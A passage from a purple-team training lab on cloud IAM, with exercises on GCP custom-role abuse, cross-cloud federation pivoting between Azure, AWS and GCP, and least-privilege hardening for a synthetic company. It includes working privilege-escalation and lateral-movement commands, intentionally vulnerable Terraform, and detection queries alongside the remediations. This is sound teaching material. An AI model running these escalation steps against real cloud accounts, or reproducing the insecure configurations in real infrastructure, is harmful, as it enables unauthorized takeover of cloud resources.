    match(role_def, "8e3af657"), "Owner",
    match(role_def, "18d7d88d"), "User Access Administrator",
    match(role_def, "b24988ac"), "Contributor",
    1=1, "Other")
| table _time, caller, role_name, principal_id, scope
| sort - _time
# Detect service principal credential additions in Azure AD
index=azure sourcetype="azure:aad:audit"
  operationName="Add service principal credentials"
| spath output=initiated_by path=initiatedBy.app.displayName
| spath output=target_app path=targetResources{}.displayName
| table _time, initiated_by, target_app, correlationId
| sort - _time

ATT&CK Technique Deep Dive

Technique How It Applies Detection Signal
T1078.004 — Cloud Accounts Attacker obtains service principal credentials SP login from unusual IP or location
T1098.001 — Additional Cloud Credentials Adding new credentials to existing SP Add service principal credentials audit event
T1098.003 — Additional Cloud Roles Granting Owner role via User Access Admin roleAssignments/write for Owner/Admin roles
T1136.003 — Create Cloud Account Creating new service principals for persistence Add service principal audit events

Discussion Questions

  1. Managed Identities vs. Service Principals: Why are managed identities generally more secure than service principals with client secrets? What are the trade-offs?

  2. Conditional Access: How would you design Conditional Access policies to restrict service principal sign-ins to specific IP ranges and require multi-factor authentication for admin role assignments?

  3. PIM (Privileged Identity Management): How would Azure AD PIM reduce the risk of the User Access Administrator escalation path? What JIT (Just-In-Time) access model would you implement?

  4. Monitoring Coverage: The Azure Activity Log captures RBAC changes, but what about Azure AD directory role changes? What additional log sources do you need?

  5. Incident Response: If you discovered that the CyberVault-AutoDeploy SP had been compromised and escalated to Owner, what would be your first five containment actions?


Exercise 3: GCP IAM Binding Exploitation & Custom Role Abuse

Objective

Analyze GCP IAM bindings, discover misconfigurations in custom roles, and exploit overly permissive service account key management to escalate privileges. Build detection rules for GCP audit log monitoring.

Prerequisites

  • Google Cloud CLI (gcloud) installed
  • Understanding of GCP IAM concepts (bindings, roles, service accounts)
  • Terraform basics (for infrastructure-as-code analysis)
  • Completion of Chapter 20 — Cloud Attack & Defense

Scenario

CyberVault Technologies uses GCP for their machine learning pipeline. During the assessment, you discover that the ML team has created several custom roles and service accounts with concerning permission grants. Your task is to enumerate the IAM landscape, identify escalation paths, and harden the configuration.

Synthetic Environment

All GCP project IDs, service account emails, and credentials below are 100% synthetic.

GCP_PROJECT=cybervault-prod-2026
GCP_REGION=us-central1
SERVICE_ACCOUNT=ml-training-sa@cybervault-prod-2026.iam.gserviceaccount.com

Step 1: IAM Policy Enumeration

# Step 1.1: Get the project IAM policy
gcloud projects get-iam-policy cybervault-prod-2026 --format=json

# Step 1.2: List all service accounts
gcloud iam service-accounts list \
  --project=cybervault-prod-2026 \
  --format="table(email,displayName,disabled)"

# Step 1.3: List custom roles
gcloud iam roles list \
  --project=cybervault-prod-2026 \
  --format="table(name,title,stage)"
Expected Output: Service Accounts (SYNTHETIC)
EMAIL                                                        DISPLAY_NAME          DISABLED
ml-training-sa@cybervault-prod-2026.iam.gserviceaccount.com  ML Training Pipeline  False
data-pipeline-sa@cybervault-prod-2026.iam.gserviceaccount.com  Data Pipeline         False
api-gateway-sa@cybervault-prod-2026.iam.gserviceaccount.com  API Gateway Service   False
legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com   Legacy ETL (migrate)  False
backup-admin-sa@cybervault-prod-2026.iam.gserviceaccount.com Backup Administrator  False
Expected Output: Custom Roles (SYNTHETIC)
NAME                                                       TITLE                    STAGE
projects/cybervault-prod-2026/roles/MLDataScientist        ML Data Scientist        GA
projects/cybervault-prod-2026/roles/DataPipelineOperator   Data Pipeline Operator   GA
projects/cybervault-prod-2026/roles/LegacyFullAccess       Legacy Full Access       BETA

Step 2: Analyze Custom Role Permissions

# Step 2.1: Examine the suspicious "LegacyFullAccess" custom role
gcloud iam roles describe LegacyFullAccess \
  --project=cybervault-prod-2026 \
  --format=json
Expected Output: LegacyFullAccess Custom Role (SYNTHETIC)
{
    "name": "projects/cybervault-prod-2026/roles/LegacyFullAccess",
    "title": "Legacy Full Access",
    "description": "Temporary role for migration - TODO: restrict after migration complete",
    "stage": "BETA",
    "includedPermissions": [
        "iam.roles.create",
        "iam.roles.delete",
        "iam.roles.update",
        "iam.serviceAccounts.actAs",
        "iam.serviceAccounts.create",
        "iam.serviceAccounts.delete",
        "iam.serviceAccounts.getAccessToken",
        "iam.serviceAccounts.getOpenIdToken",
        "iam.serviceAccounts.implicitDelegation",
        "iam.serviceAccounts.signBlob",
        "iam.serviceAccounts.signJwt",
        "iam.serviceAccountKeys.create",
        "iam.serviceAccountKeys.get",
        "iam.serviceAccountKeys.list",
        "resourcemanager.projects.getIamPolicy",
        "resourcemanager.projects.setIamPolicy",
        "storage.buckets.list",
        "storage.objects.get",
        "storage.objects.list",
        "storage.objects.create",
        "storage.objects.delete",
        "compute.instances.list",
        "compute.instances.get",
        "compute.instances.setServiceAccount",
        "compute.instances.create",
        "compute.instances.delete"
    ],
    "etag": "BwXSYNTHETIC="
}

Critical: Multiple Escalation Vectors

The LegacyFullAccess role contains several dangerous permission combinations:

  1. iam.serviceAccountKeys.create — Can create keys for any service account, impersonating higher-privilege identities
  2. iam.serviceAccounts.getAccessToken — Can generate OAuth2 tokens as any service account
  3. iam.serviceAccounts.actAs — Can attach any service account to compute resources
  4. resourcemanager.projects.setIamPolicy — Can modify the project IAM policy to grant itself any role
  5. iam.roles.create + iam.roles.update — Can create or modify custom roles to include any permission
  6. compute.instances.setServiceAccount — Can change the service account on existing VMs

This role is effectively a project-level admin with extra steps. The "TODO: restrict after migration" comment indicates this was meant to be temporary but was never cleaned up — a common real-world pattern.

Step 3: Identify IAM Binding Misconfigurations

# Step 3.1: Check who has the LegacyFullAccess role
gcloud projects get-iam-policy cybervault-prod-2026 \
  --flatten="bindings[].members" \
  --filter="bindings.role:roles/LegacyFullAccess" \
  --format="table(bindings.role,bindings.members)"
Expected Output: LegacyFullAccess Bindings (SYNTHETIC)
ROLE                                                    MEMBERS
projects/cybervault-prod-2026/roles/LegacyFullAccess    serviceAccount:legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com
projects/cybervault-prod-2026/roles/LegacyFullAccess    user:dev.contractor@cybervault.example.com
projects/cybervault-prod-2026/roles/LegacyFullAccess    group:ml-team@cybervault.example.com

Broad Access

The LegacyFullAccess role is bound to:

  • A service account (legacy-etl-sa) — likely with exportable keys
  • An individual contractor (dev.contractor) — no MFA requirement for GCP
  • An entire group (ml-team) — any member of this group inherits these dangerous permissions

Step 4: Simulate Service Account Key Escalation

# Step 4.1: Authenticate as the legacy-etl-sa (assume key was found)
gcloud auth activate-service-account \
  legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com \
  --key-file=/tmp/legacy-etl-sa-key-SYNTHETIC.json

# Step 4.2: Create a key for the backup-admin service account
# (which has higher privileges we want to escalate to)
gcloud iam service-accounts keys create /tmp/backup-admin-key-SYNTHETIC.json \
  --iam-account=backup-admin-sa@cybervault-prod-2026.iam.gserviceaccount.com

# Expected output (SYNTHETIC):
# created key [SYNTHETIC-KEY-ID-abcdef1234567890] of type [json] as
# [/tmp/backup-admin-key-SYNTHETIC.json] for
# [backup-admin-sa@cybervault-prod-2026.iam.gserviceaccount.com]

# Step 4.3: Authenticate as the backup-admin SA
gcloud auth activate-service-account \
  backup-admin-sa@cybervault-prod-2026.iam.gserviceaccount.com \
  --key-file=/tmp/backup-admin-key-SYNTHETIC.json

# Step 4.4: Verify escalated access
gcloud projects get-iam-policy cybervault-prod-2026 --format=json | head -50
Escalation Path: setIamPolicy

With resourcemanager.projects.setIamPolicy, the attacker can modify the project IAM policy to grant themselves roles/owner.

# WARNING: This is the nuclear option — full project takeover
# Step 4.5: Add Owner role binding (SYNTHETIC simulation)
gcloud projects add-iam-policy-binding cybervault-prod-2026 \
  --member="serviceAccount:legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com" \
  --role="roles/owner"

# Expected output (SYNTHETIC):
# Updated IAM policy for project [cybervault-prod-2026].
# bindings:
# - members:
#   - serviceAccount:legacy-etl-sa@cybervault-prod-2026.iam.gserviceaccount.com
#   role: roles/owner

Step 5: Terraform Analysis of Vulnerable Configuration

Review the Terraform configuration that created this vulnerable setup.

# SYNTHETIC - Intentionally vulnerable Terraform for lab purposes
# File: lab17-vulnerable-gcp-iam.tf

provider "google" {
  project = "cybervault-prod-2026"  # SYNTHETIC
  region  = "us-central1"
}

# Custom role with overly broad permissions
resource "google_project_iam_custom_role" "legacy_full_access" {
  role_id     = "LegacyFullAccess"
  title       = "Legacy Full Access"
  description = "Temporary role for migration - TODO: restrict after migration"
  stage       = "BETA"
  permissions = [
    "iam.roles.create",
    "iam.roles.delete",
    "iam.roles.update",
    "iam.serviceAccounts.actAs",
    "iam.serviceAccounts.create",
    "iam.serviceAccounts.delete",
    "iam.serviceAccounts.getAccessToken",
    "iam.serviceAccounts.getOpenIdToken",
    "iam.serviceAccounts.implicitDelegation",
    "iam.serviceAccounts.signBlob",
    "iam.serviceAccounts.signJwt",
    "iam.serviceAccountKeys.create",
    "iam.serviceAccountKeys.get",
    "iam.serviceAccountKeys.list",
    "resourcemanager.projects.getIamPolicy",
    "resourcemanager.projects.setIamPolicy",
    "storage.buckets.list",
    "storage.objects.get",
    "storage.objects.list",
    "storage.objects.create",
    "storage.objects.delete",
    "compute.instances.list",
    "compute.instances.get",
    "compute.instances.setServiceAccount",
    "compute.instances.create",
    "compute.instances.delete",
  ]
}

# Service account for legacy ETL pipeline
resource "google_service_account" "legacy_etl" {
  account_id   = "legacy-etl-sa"
  display_name = "Legacy ETL (migrate)"
  project      = "cybervault-prod-2026"
}

# DANGEROUS: Binding the overly broad role to the service account
resource "google_project_iam_member" "legacy_etl_binding" {
  project = "cybervault-prod-2026"
  role    = google_project_iam_custom_role.legacy_full_access.id
  member  = "serviceAccount:${google_service_account.legacy_etl.email}"
}

# DANGEROUS: Binding to an entire group
resource "google_project_iam_member" "ml_team_binding" {
  project = "cybervault-prod-2026"
  role    = google_project_iam_custom_role.legacy_full_access.id
  member  = "group:ml-team@cybervault.example.com"
}

# DANGEROUS: Service account key (should use Workload Identity instead)
resource "google_service_account_key" "legacy_etl_key" {
  service_account_id = google_service_account.legacy_etl.name
  public_key_type    = "TYPE_X509_PEM_FILE"
}

# This key gets stored in a GCS bucket (also bad practice)
resource "google_storage_bucket_object" "sa_key_backup" {
  name   = "keys/legacy-etl-sa-key.json"
  bucket = "cybervault-config-backup"   # SYNTHETIC
  content = base64decode(
    google_service_account_key.legacy_etl_key.private_key
  )
}

Infrastructure as Code Anti-Patterns

The Terraform configuration above contains multiple anti-patterns:

  1. Service account keys stored in GCS — keys should be managed through Workload Identity Federation or short-lived tokens
  2. Custom role with setIamPolicy — effectively grants project Owner-equivalent access
  3. Group bindings to admin roles — any group member inherits dangerous permissions
  4. No conditions on IAM bindings — no time-based or resource-based conditions
  5. BETA stage role in production — indicates this was never properly reviewed

Step 6: Detection Queries

KQL (Microsoft Sentinel with GCP Connector)

// Detect service account key creation in GCP
GCPAuditLogs
| where ServiceName == "iam.googleapis.com"
| where MethodName == "google.iam.admin.v1.CreateServiceAccountKey"
| extend
    CallerIdentity = tostring(AuthenticationInfo.principalEmail),
    TargetSA = tostring(ResourceName),
    CallerIP = tostring(RequestMetadata.callerIp)
| project TimeGenerated, CallerIdentity, TargetSA, CallerIP, MethodName
| order by TimeGenerated desc
// Detect IAM policy modifications in GCP
GCPAuditLogs
| where ServiceName == "cloudresourcemanager.googleapis.com"
| where MethodName in (
    "google.iam.v1.IAMPolicy.SetIamPolicy",
    "SetIamPolicy"
)
| extend
    CallerIdentity = tostring(AuthenticationInfo.principalEmail),
    CallerIP = tostring(RequestMetadata.callerIp),
    ResourceTarget = tostring(ResourceName)
| extend PolicyDelta = tostring(ServiceData)
| project TimeGenerated, CallerIdentity, CallerIP,
          ResourceTarget, PolicyDelta, MethodName
| order by TimeGenerated desc
// Detect custom role modifications with dangerous permissions
GCPAuditLogs
| where MethodName has_any ("CreateRole", "UpdateRole")
| extend RolePermissions = tostring(Request)
| where RolePermissions has_any (
    "setIamPolicy", "serviceAccountKeys.create",
    "getAccessToken", "signBlob", "actAs"
)
| extend CallerIdentity = tostring(AuthenticationInfo.principalEmail)
| project TimeGenerated, CallerIdentity, MethodName,
          RolePermissions, ResourceName

SPL (Splunk)

# Detect GCP service account key creation
index=gcp sourcetype="google:gcp:pubsub:message"
  methodName="google.iam.admin.v1.CreateServiceAccountKey"
| spath output=caller path=protoPayload.authenticationInfo.principalEmail
| spath output=target_sa path=protoPayload.resourceName
| spath output=caller_ip path=protoPayload.requestMetadata.callerIp
| table _time, caller, target_sa, caller_ip
| sort - _time
# Detect GCP IAM policy changes
index=gcp sourcetype="google:gcp:pubsub:message"
  methodName="SetIamPolicy"
| spath output=caller path=protoPayload.authenticationInfo.principalEmail
| spath output=resource path=protoPayload.resourceName
| spath output=caller_ip path=protoPayload.requestMetadata.callerIp
| spath output=service_data path=protoPayload.serviceData
| table _time, caller, resource, caller_ip, service_data
| sort - _time
# Detect suspicious SA token generation
index=gcp sourcetype="google:gcp:pubsub:message"
  methodName IN ("GenerateAccessToken", "SignBlob", "SignJwt",
                 "GenerateIdToken")
| spath output=caller path=protoPayload.authenticationInfo.principalEmail
| spath output=target_sa path=protoPayload.resourceName
| where caller != target_sa
| stats count by caller, target_sa, methodName
| where count > 5
| sort - count

ATT&CK Technique Deep Dive

Technique How It Applies Detection Signal
T1078.004 — Cloud Accounts Using compromised SA key to authenticate SA auth from unusual IP
T1098.001 — Additional Cloud Credentials Creating new SA key for escalation target CreateServiceAccountKey audit log
T1098.003 — Additional Cloud Roles Modifying IAM policy to add Owner binding SetIamPolicy with Owner role
T1580 — Cloud Infrastructure Discovery Enumerating IAM policies and SA permissions High volume of getIamPolicy calls

Discussion Questions

  1. Workload Identity Federation: How would migrating from SA keys to Workload Identity Federation eliminate the key creation escalation path? What are the implementation challenges?

  2. Organization Policy Constraints: Which GCP Organization Policy constraints would prevent the creation of service account keys (constraints/iam.disableServiceAccountKeyCreation)? What operational impact would this have?

  3. VPC Service Controls: How would VPC Service Controls limit the blast radius if the legacy-etl-sa were compromised? Design a service perimeter for the CyberVault environment.

  4. Terraform Security: How would tools like tfsec, checkov, or opa (Open Policy Agent) catch the misconfigurations in the Terraform code before deployment? Write a sample Rego policy.

  5. Custom Role Audit: Design a script that continuously audits custom roles for dangerous permission combinations. What permissions should always trigger an alert?


Exercise 4: Cross-Cloud Identity Federation Attacks

Objective

Analyze cross-cloud identity federation configurations between AWS, Azure, and GCP, identify trust relationship vulnerabilities, and understand how federation abuse enables lateral movement between cloud providers.

Prerequisites

Scenario

CyberVault Technologies has implemented cross-cloud identity federation to allow workloads in one cloud to access resources in another without managing long-lived credentials. However, the federation trust configurations contain misconfigurations that could allow an attacker with access to one cloud to pivot to others.

Step 1: AWS to Azure Federation via OIDC

CyberVault uses AWS IAM Identity Center (SSO) federated with Azure AD via OIDC.

# Step 1.1: Examine the AWS OIDC provider configuration
aws iam list-open-id-connect-providers

# Expected output (SYNTHETIC):
# {
#     "OpenIDConnectProviderList": [
#         {
#             "Arn": "arn:aws:iam::111122223333:oidc-provider/login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0"
#         },
#         {
#             "Arn": "arn:aws:iam::111122223333:oidc-provider/accounts.google.com"
#         }
#     ]
# }

# Step 1.2: Get details of the Azure AD OIDC provider
aws iam get-open-id-connect-provider \
  --open-id-connect-provider-arn \
  "arn:aws:iam::111122223333:oidc-provider/login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0"
Expected Output: OIDC Provider Details (SYNTHETIC)
{
    "Url": "https://login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0",
    "ClientIDList": [
        "11111111-2222-3333-4444-555555555555",
        "api://cybervault-cross-cloud"
    ],
    "ThumbprintList": [
        "AABBCCDDEEFF00112233445566778899AABBCCDD"
    ],
    "CreateDate": "2025-09-15T14:30:00Z",
    "Tags": []
}

Step 2: Examine the AWS Trust Policy for Federated Roles

# Step 2.1: Examine the cross-cloud role trust policy
aws iam get-role --role-name CyberVault-AzureFederatedRole --output json
Expected Output: Federated Role Trust Policy (SYNTHETIC)
{
    "Role": {
        "RoleName": "CyberVault-AzureFederatedRole",
        "Arn": "arn:aws:iam::111122223333:role/CyberVault-AzureFederatedRole",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Federated": "arn:aws:iam::111122223333:oidc-provider/login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0"
                    },
                    "Action": "sts:AssumeRoleWithWebIdentity",
                    "Condition": {
                        "StringEquals": {
                            "login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0:aud": "api://cybervault-cross-cloud"
                        }
                    }
                }
            ]
        },
        "MaxSessionDuration": 43200,
        "CreateDate": "2025-09-15T15:00:00Z"
    }
}

Misconfiguration: Missing Subject Condition

The federated role trust policy only validates the audience (aud) claim but does NOT validate the subject (sub) claim. This means:

  • Any service principal or managed identity in the Azure AD tenant that can request a token with the api://cybervault-cross-cloud audience can assume this AWS role
  • If an attacker compromises ANY Azure AD application in the tenant, they can pivot to AWS

The trust policy should include a StringEquals condition on the sub claim to restrict which Azure AD identities can assume the role:

"Condition": {
    "StringEquals": {
        "login.microsoftonline.com/.../v2.0:aud": "api://cybervault-cross-cloud",
        "login.microsoftonline.com/.../v2.0:sub": "bbbbbbbb-cccc-dddd-eeee-ffffffffffff"
    }
}

Misconfiguration: Excessive Session Duration

MaxSessionDuration is set to 43200 seconds (12 hours). For cross-cloud federated roles, the session should be as short as operationally feasible — typically 1 hour (3600 seconds) maximum.

Step 3: GCP Workload Identity Federation from AWS

# Step 3.1: Examine GCP Workload Identity Pool
gcloud iam workload-identity-pools describe cybervault-aws-pool \
  --project=cybervault-prod-2026 \
  --location=global \
  --format=json

# Step 3.2: List providers in the pool
gcloud iam workload-identity-pools providers describe aws-provider \
  --workload-identity-pool=cybervault-aws-pool \
  --project=cybervault-prod-2026 \
  --location=global \
  --format=json
Expected Output: Workload Identity Provider (SYNTHETIC)
{
    "name": "projects/999888777/locations/global/workloadIdentityPools/cybervault-aws-pool/providers/aws-provider",
    "displayName": "AWS Provider for CyberVault",
    "description": "Allows AWS workloads to access GCP resources",
    "state": "ACTIVE",
    "aws": {
        "accountId": "111122223333"
    },
    "attributeMapping": {
        "google.subject": "assertion.arn",
        "attribute.aws_role": "assertion.arn.extract('assumed-role/{role}/')"
    },
    "attributeCondition": ""
}

Misconfiguration: Empty Attribute Condition

The Workload Identity provider has an empty attributeCondition. This means:

  • ANY IAM role in AWS account 111122223333 can obtain GCP tokens through this federation
  • An attacker who compromises any AWS role (even a low-privilege one) can pivot to GCP

The attribute condition should restrict which AWS roles can federate:

assertion.arn.startsWith('arn:aws:sts::111122223333:assumed-role/CyberVault-GCPAccess-Role')

Step 4: Simulate Cross-Cloud Lateral Movement

# Step 4.1: From a compromised Azure AD SP, obtain an AWS role

# First, get an Azure AD token with the cross-cloud audience
curl -X POST \
  "https://login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=22222222-3333-4444-5555-666666666666" \
  -d "client_secret=SYNTHETIC~credential~REDACTED" \
  -d "scope=api://cybervault-cross-cloud/.default" \
  -d "grant_type=client_credentials"

# Expected response (SYNTHETIC):
# {
#   "token_type": "Bearer",
#   "expires_in": 3599,
#   "access_token": "eyJ0eXAiOiJKV1QiSYNTHETICtoken..."
# }

# Step 4.2: Use the Azure AD token to assume the AWS role
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::111122223333:role/CyberVault-AzureFederatedRole \
  --role-session-name "lateral-movement-SYNTHETIC" \
  --web-identity-token "eyJ0eXAiOiJKV1QiSYNTHETICtoken..." \
  --duration-seconds 3600

# Expected output (SYNTHETIC):
# {
#     "Credentials": {
#         "AccessKeyId": "ASIAIOSFODNN7SYNTHETIC",
#         "SecretAccessKey": "SYNTHETIC+temp+secret+key+REDACTED",
#         "SessionToken": "FwoGZXIvYXdzEBYaDSYNTHETIC...",
#         "Expiration": "2026-03-22T20:00:00Z"
#     },
#     "AssumedRoleUser": {
#         "AssumedRoleId": "AROAIOSFODNN7SYNTHETIC:lateral-movement-SYNTHETIC",
#         "Arn": "arn:aws:sts::111122223333:assumed-role/CyberVault-AzureFederatedRole/lateral-movement-SYNTHETIC"
#     }
# }

# Step 4.3: From AWS, pivot to GCP via Workload Identity Federation
# Generate an AWS STS token for GCP
gcloud auth login \
  --cred-file=/tmp/aws-to-gcp-config-SYNTHETIC.json

# The credential configuration file:
cat > /tmp/aws-to-gcp-config-SYNTHETIC.json << 'EOF'
{
    "type": "external_account",
    "audience": "//iam.googleapis.com/projects/999888777/locations/global/workloadIdentityPools/cybervault-aws-pool/providers/aws-provider",
    "subject_token_type": "urn:ietf:params:aws:token-type:aws4_request",
    "service_account_impersonation_url": "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/ml-training-sa@cybervault-prod-2026.iam.gserviceaccount.com:generateAccessToken",
    "token_url": "https://sts.googleapis.com/v1/token",
    "credential_source": {
        "environment_id": "aws1",
        "region_url": "http://169.254.169.254/latest/meta-data/placement/availability-zone",
        "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials",
        "regional_cred_verification_url": "https://sts.{region}.amazonaws.com?Action=GetCallerIdentity&Version=2011-06-15"
    }
}
EOF

Attack Chain Summary

The complete cross-cloud lateral movement chain:

Azure AD SP (compromised)
    ↓ OIDC token (missing sub condition)
AWS IAM Role (CyberVault-AzureFederatedRole)
    ↓ Workload Identity Federation (no attribute condition)
GCP Service Account (ml-training-sa)
    ↓ SA impersonation
GCP Resources (ML models, datasets, compute)

Three clouds compromised from a single Azure AD service principal compromise.

Step 5: Federation Trust Hardening

Hardened AWS Trust Policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::111122223333:oidc-provider/login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0:aud": "api://cybervault-cross-cloud",
                    "login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/v2.0:sub": "bbbbbbbb-cccc-dddd-eeee-ffffffffffff"
                },
                "IpAddress": {
                    "aws:SourceIp": ["192.0.2.0/24", "198.51.100.0/24"]
                }
            }
        }
    ]
}
Hardened GCP Workload Identity Provider
# Update the provider with an attribute condition (SYNTHETIC)
gcloud iam workload-identity-pools providers update-aws aws-provider \
  --workload-identity-pool=cybervault-aws-pool \
  --project=cybervault-prod-2026 \
  --location=global \
  --attribute-condition="assertion.arn.startsWith('arn:aws:sts::111122223333:assumed-role/CyberVault-GCPAccess-Role')"

Step 6: Detection Queries

KQL (Microsoft Sentinel)

// Detect cross-cloud federation token usage
// Azure AD sign-in with cross-cloud audience
SigninLogs
| where ResourceDisplayName == "cybervault-cross-cloud"
    or ResourceId == "api://cybervault-cross-cloud"
| where AppDisplayName != "Expected-Application-Name"
| extend
    IPAddress = IPAddress,
    ClientApp = AppDisplayName,
    ServicePrincipalId = ServicePrincipalId
| project TimeGenerated, IPAddress, ClientApp,
          ServicePrincipalId, ConditionalAccessStatus,
          AuthenticationProcessingDetails
| order by TimeGenerated desc
// Detect AWS AssumeRoleWithWebIdentity from unexpected sources
AWSCloudTrail
| where EventName == "AssumeRoleWithWebIdentity"
| extend RequestParams = parse_json(RequestParameters)
| extend
    RoleArn = tostring(RequestParams.roleArn),
    SessionName = tostring(RequestParams.roleSessionName),
    IdentityProvider = tostring(RequestParams.webIdentityToken)
| where RoleArn contains "FederatedRole"
| where SessionName !startswith "expected-session-prefix"
| project TimeGenerated, RoleArn, SessionName,
          SourceIpAddress, UserAgent
| order by TimeGenerated desc

SPL (Splunk)

# Detect cross-cloud federated role assumption
index=aws sourcetype=aws:cloudtrail
  eventName="AssumeRoleWithWebIdentity"
| spath output=role_arn path=requestParameters.roleArn
| spath output=session_name path=requestParameters.roleSessionName
| spath output=src_ip path=sourceIPAddress
| search role_arn="*FederatedRole*"
| where NOT match(session_name, "^expected-session")
| table _time, role_arn, session_name, src_ip, userAgent
| sort - _time
# Detect GCP Workload Identity token exchange
index=gcp sourcetype="google:gcp:pubsub:message"
  methodName="google.iam.credentials.v1.GenerateAccessToken"
| spath output=caller path=protoPayload.authenticationInfo.principalEmail
| spath output=target_sa path=protoPayload.request.name
| search caller="principal://iam.googleapis.com/*"
| table _time, caller, target_sa
| sort - _time

ATT&CK Technique Deep Dive

Technique How It Applies Detection Signal
T1550.001 — Application Access Token Using OIDC token for cross-cloud access AssumeRoleWithWebIdentity with unexpected session names
T1484.002 — Trust Modification Modifying federation trust to broaden access Changes to OIDC providers or trust policies
T1078.004 — Cloud Accounts Using federated identity across clouds Cross-cloud authentication from unexpected IPs

Discussion Questions

  1. Federation Architecture: Design a secure cross-cloud federation architecture for CyberVault that minimizes the blast radius of a single cloud compromise. What trust boundaries would you establish?

  2. Token Validation: What claims should be validated in federated tokens beyond aud and sub? Consider iss, iat, exp, nbf, and custom claims.

  3. Monitoring Correlation: How would you correlate authentication events across AWS CloudTrail, Azure AD Sign-in Logs, and GCP Cloud Audit Logs to detect cross-cloud lateral movement? What SIEM architecture supports this?

  4. Zero Trust Integration: How does cross-cloud federation fit into a Zero Trust architecture as described in Chapter 39? What continuous verification controls would you implement?

  5. Breakglass Procedures: If cross-cloud federation is compromised, how would you implement emergency federation revocation across all three clouds simultaneously?


Exercise 5: IAM Hardening & Least Privilege Remediation

Objective

Apply systematic IAM hardening across AWS, Azure, and GCP based on the findings from Exercises 1–4. Implement least privilege policies, automated monitoring, and continuous compliance checks.

Prerequisites

  • Findings from Exercises 1–4
  • Understanding of least privilege and zero trust principles
  • Terraform or CloudFormation basics for infrastructure-as-code remediation
  • Completion of Chapter 39 — Zero Trust Implementation

Scenario

Based on the purple team assessment findings, CyberVault Technologies' CISO has approved a comprehensive IAM hardening project. You will implement remediation controls across all three cloud providers and establish continuous monitoring.

Step 1: AWS IAM Hardening

1.1: Implement Permission Boundaries

Permission boundaries define the maximum permissions an IAM entity can have, regardless of the identity-based policies attached.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowedServices",
            "Effect": "Allow",
            "Action": [
                "s3:*",
                "lambda:*",
                "dynamodb:*",
                "logs:*",
                "cloudwatch:*",
                "xray:*",
                "sqs:*",
                "sns:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "DenyIAMEscalation",
            "Effect": "Deny",
            "Action": [
                "iam:CreatePolicyVersion",
                "iam:SetDefaultPolicyVersion",
                "iam:AttachUserPolicy",
                "iam:AttachRolePolicy",
                "iam:AttachGroupPolicy",
                "iam:PutUserPolicy",
                "iam:PutRolePolicy",
                "iam:PutGroupPolicy",
                "iam:CreateUser",
                "iam:CreateRole",
                "iam:UpdateAssumeRolePolicy",
                "iam:PassRole"
            ],
            "Resource": "*"
        },
        {
            "Sid": "DenyBoundaryModification",
            "Effect": "Deny",
            "Action": [
                "iam:DeleteUserPermissionsBoundary",
                "iam:DeleteRolePermissionsBoundary",
                "iam:PutUserPermissionsBoundary",
                "iam:PutRolePermissionsBoundary"
            ],
            "Resource": "*"
        }
    ]
}
# Apply the permission boundary (SYNTHETIC)
aws iam create-policy \
  --policy-name CyberVault-DevPermissionBoundary \
  --policy-document file://dev-permission-boundary.json

aws iam put-user-permissions-boundary \
  --user-name dev-intern \
  --permissions-boundary \
  "arn:aws:iam::111122223333:policy/CyberVault-DevPermissionBoundary"

1.2: Implement Service Control Policies (SCPs)

SCPs restrict the maximum permissions for accounts within an AWS Organization.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DenyRootAccountUsage",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "*",
            "Condition": {
                "StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::*:root"
                }
            }
        },
        {
            "Sid": "DenyLeaveOrganization",
            "Effect": "Deny",
            "Action": "organizations:LeaveOrganization",
            "Resource": "*"
        },
        {
            "Sid": "RequireIMDSv2",
            "Effect": "Deny",
            "Action": "ec2:RunInstances",
            "Resource": "arn:aws:ec2:*:*:instance/*",
            "Condition": {
                "StringNotEquals": {
                    "ec2:MetadataHttpTokens": "required"
                }
            }
        },
        {
            "Sid": "DenyPublicS3",
            "Effect": "Deny",
            "Action": [
                "s3:PutBucketPublicAccessBlock",
                "s3:PutAccountPublicAccessBlock"
            ],
            "Resource": "*",
            "Condition": {
                "StringNotEquals": {
                    "s3:PublicAccessBlockConfiguration/BlockPublicAcls": "true"
                }
            }
        },
        {
            "Sid": "RequireEncryptedVolumes",
            "Effect": "Deny",
            "Action": "ec2:CreateVolume",
            "Resource": "*",
            "Condition": {
                "Bool": {
                    "ec2:Encrypted": "false"
                }
            }
        }
    ]
}

1.3: Remediate the DevInternPolicy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowIAMReadOnlyForSelf",
            "Effect": "Allow",
            "Action": [
                "iam:GetUser",
                "iam:ListMFADevices",
                "iam:GetLoginProfile"
            ],
            "Resource": "arn:aws:iam::111122223333:user/${aws:username}"
        },
        {
            "Sid": "AllowS3ReadDev",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::cybervault-dev-configs",
